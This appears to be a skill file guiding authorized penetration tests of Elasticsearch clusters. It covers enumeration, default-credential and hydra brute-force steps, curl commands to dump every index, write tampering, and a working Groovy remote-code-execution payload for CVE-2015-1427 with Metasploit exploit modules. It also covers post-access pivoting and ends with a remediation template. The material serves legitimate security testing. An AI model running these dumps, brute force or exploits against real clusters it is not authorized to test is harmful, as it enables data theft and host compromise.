pentesting-elasticsearch
$
npx mdskill add xalgord/xalgorix/pentesting-elasticsearch- Default `9200/tcp` (REST/HTTP API), `9300/tcp` (node-to-node transport). - Accessed over **HTTP** — browsing `http://<IP>:9200/` returns a JSON banner (cluster name, version, Lucene version). - Use whenever 9200 is reachable — Elasticsearch ships with **authentication disabled by default**, exposing all indices.
SKILL.md
.github/skills/pentesting-elasticsearchView on GitHub ↗
---
name: pentesting-elasticsearch
description: Testing Elasticsearch search/analytics clusters (default HTTP port 9200, transport 9300) for disabled authentication and full index dumping, default/weak credentials, write access to indices, and the historical Groovy/MVEL dynamic-scripting remote-code-execution CVEs (CVE-2015-1427, CVE-2014-3120) during authorized engagements.
domain: cybersecurity
subdomain: network-services-pentesting
tags:
- penetration-testing
- network-services
- database
- elasticsearch
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Pentesting Elasticsearch (port 9200)
## When to Use
- Default `9200/tcp` (REST/HTTP API), `9300/tcp` (node-to-node transport).
- Accessed over **HTTP** — browsing `http://<IP>:9200/` returns a JSON banner (cluster name, version, Lucene version).
- Use whenever 9200 is reachable — Elasticsearch ships with **authentication disabled by default**, exposing all indices.
## Quick Enumeration
```bash
# Banner / version
curl -s http://<IP>:9200/
# Auth posture check
curl -s -X GET "http://<IP>:9200/_xpack/security/user"
# 500 "Security must be explicitly enabled" => auth DISABLED (open)
# 401 "missing authentication credentials" => auth ENABLED (need creds)
nmap -sV -p9200 --script http-* <IP>
msfconsole -q -x 'use auxiliary/scanner/elasticsearch/indices_enum; set RHOSTS <IP>; run; exit'
```
## Critical: Checks Most Often Missed
- **Authentication disabled (default) → full index dump** — the #1 miss. Without X-Pack security, every index and document is world-readable.
- How to CONFIRM: `curl http://<IP>:9200/` returns the banner and `curl http://<IP>:9200/_cat/indices?v` lists indices. The `_xpack/security/user` 500 error confirms security is off.
- **Default / weak credentials (when auth on)** — HTTP basic auth with defaults: `elastic` (superuser), `kibana`, `logstash_system`, `beats_system`, `remote_monitoring_user`, `apm_system`; old versions default password `changeme`.
- How to CONFIRM: `curl http://elastic:changeme@<IP>:9200/` returns data; brute force via any HTTP-basic tool.
- **Write access to indices** — an unauthenticated/over-privileged instance may allow creating/modifying documents (data tampering, stored XSS into dashboards).
- How to CONFIRM: `curl -X POST '<IP>:9200/bookindex/books' -H 'Content-Type: application/json' -d '{"a":"b"}'` succeeds and the new index appears in `_cat/indices`.
- **Dynamic scripting RCE (legacy clusters)** — old versions allow server-side script execution leading to RCE:
- **CVE-2014-3120** — MVEL dynamic scripting enabled by default in ES < 1.2 (`_search` with a `script` field → code exec).
- **CVE-2015-1427** — Groovy sandbox bypass in ES 1.3.0–1.3.7 / 1.4.0–1.4.2 (`script_fields` Groovy payload → OS command exec).
- How to CONFIRM: a crafted `_search` with a Groovy/MVEL `script` returns the output of `java.lang.Runtime.getRuntime().exec(...)`; Metasploit `script_mvel_rce` / `script_jvm_rce` confirm.
## Workflow
### Step 1: Enumerate
```bash
curl -s http://<IP>:9200/ # version banner
curl -s http://<IP>:9200/_cat/indices?v # list indices + doc counts
curl -s http://<IP>:9200/_cluster/health?pretty
curl -s http://<IP>:9200/_security/user # roles/users (if auth on)
curl -s http://<IP>:9200/_cat # supported _cat endpoints
```
### Step 2: Authenticate (open access, default/weak creds, brute force)
```bash
curl -s http://<IP>:9200/_cat/indices # try unauthenticated
curl -s -u elastic:changeme http://<IP>:9200/ # default creds
hydra -L users.txt -P passwords.txt <IP> http-get /
# or any HTTP basic-auth brute (medusa, ffuf, patator) against /
```
### Step 3: Exploit / Extract (dump indices + scripting RCE)
```bash
# Inspect an index mapping then dump documents (default page size = 10)
curl -s "http://<IP>:9200/bank"
curl -s "http://<IP>:9200/bank/_search?pretty=true&size=1000"
# Dump EVERYTHING across all indices
curl -s "http://<IP>:9200/_search?pretty=true&size=9999"
# Keyword search across all indices (q supports regex)
curl -s "http://<IP>:9200/_search?pretty=true&q=password"
# Test write access (stored data tampering)
curl -X POST '<IP>:9200/bookindex/books' -H 'Content-Type: application/json' \
-d '{"bookId":"A00-3","author":"x","name":"test"}'
```
```bash
# Legacy dynamic-scripting RCE (CVE-2015-1427 Groovy) — authorized labs only
curl -s "http://<IP>:9200/_search?pretty" -H 'Content-Type: application/json' -d '{
"size": 1,
"script_fields": {"x": {"lang":"groovy",
"script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}'
# Metasploit equivalents
msfconsole -q -x 'use exploit/multi/elasticsearch/script_mvel_rce; set RHOSTS <IP>; run' # CVE-2014-3120
msfconsole -q -x 'use exploit/multi/elasticsearch/search_groovy_script; set RHOSTS <IP>; run' # CVE-2015-1427
```
### Step 4: Post-access / privilege escalation / pivot
- Dumped indices frequently contain credentials, PII, tokens, and logs — reuse against web apps, SSH, cloud, and the linked Kibana.
- A linked Kibana on 5601 may proxy ES without auth; pivot there for additional RCE/XSS vectors.
- On RCE the script runs as the `elasticsearch` user — enumerate host, sudo, and adjacent ELK components (Logstash, Beats).
- Write access lets you poison dashboards/log pipelines (stored XSS in Kibana) and tamper with detection data.
## Key Concepts
| Concept | Description |
|---------|-------------|
| **REST/HTTP API** | All interaction is HTTP on 9200; browser/curl give full access when auth is off. |
| **Index / document** | An index is a JSON document collection; `_search` queries return documents. |
| **Auth disabled default** | X-Pack security off by default → unauthenticated full read (and often write). |
| **size parameter** | `_search` defaults to 10 results; set `size=N` to dump entire indices. |
| **_cat / _cluster / _security** | Diagnostic endpoints exposing indices, health, users, and roles. |
| **Dynamic scripting** | Server-side Groovy/MVEL scripts; legacy CVEs (3120/1427) turn this into RCE. |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **curl** | Primary client for banner, index listing, dumping, write tests, scripting RCE. |
| **nmap NSE** | `http-*` scripts + version detection; `nmap-elasticsearch-nse` enumerates indices/plugins/nodes. |
| **Metasploit** | `scanner/elasticsearch/indices_enum`, `exploit/multi/elasticsearch/script_mvel_rce` (CVE-2014-3120), `search_groovy_script` (CVE-2015-1427). |
| **hydra / medusa / ffuf** | HTTP basic-auth brute force against `/`. |
| **horuz** | Fuzz Elasticsearch endpoints/indices. |
| **Kibana (5601)** | Linked frontend, frequent pivot for visualization-layer attacks. |
## Common Scenarios
### Scenario 1: Open cluster → mass data dump
`curl http://<IP>:9200/_cat/indices?v` lists `customers`, `logs-*` indices. `_search?size=9999` exfiltrates every document, including plaintext PII and access logs with session tokens.
### Scenario 2: Default elastic creds
Security is enabled but the `elastic` superuser still uses `changeme`. `curl -u elastic:changeme http://<IP>:9200/_security/user` enumerates all accounts and grants full cluster control.
### Scenario 3: Legacy Groovy RCE
An ES 1.4.2 node allows dynamic scripting. A `script_fields` Groovy payload runs `id`, returning `uid=...elasticsearch`, escalating from data access to host command execution.
## Output Format
```
## Elasticsearch Finding
**Service**: Elasticsearch
**Port**: 9200/tcp (Elasticsearch 7.6.0)
**Severity**: High
**Finding**: Authentication disabled exposing all indices
**Evidence**:
- curl http://<IP>:9200/_xpack/security/user -> 500 "Security must be explicitly enabled"
- curl http://<IP>:9200/_cat/indices?v -> customers, logs-2024, .kibana
- _search?size=9999 -> 50,000 customer records with emails + tokens
**Impact**: Unauthenticated read (and likely write) access to all stored data across the cluster.
**Recommendation**:
1. Enable X-Pack security (`xpack.security.enabled: true`) with TLS and strong credentials.
2. Restrict 9200/9300 to trusted hosts via firewall; never expose to the internet.
3. Change all default account passwords (elastic, kibana, logstash_system).
4. Disable dynamic scripting on legacy versions and upgrade to a supported release.
```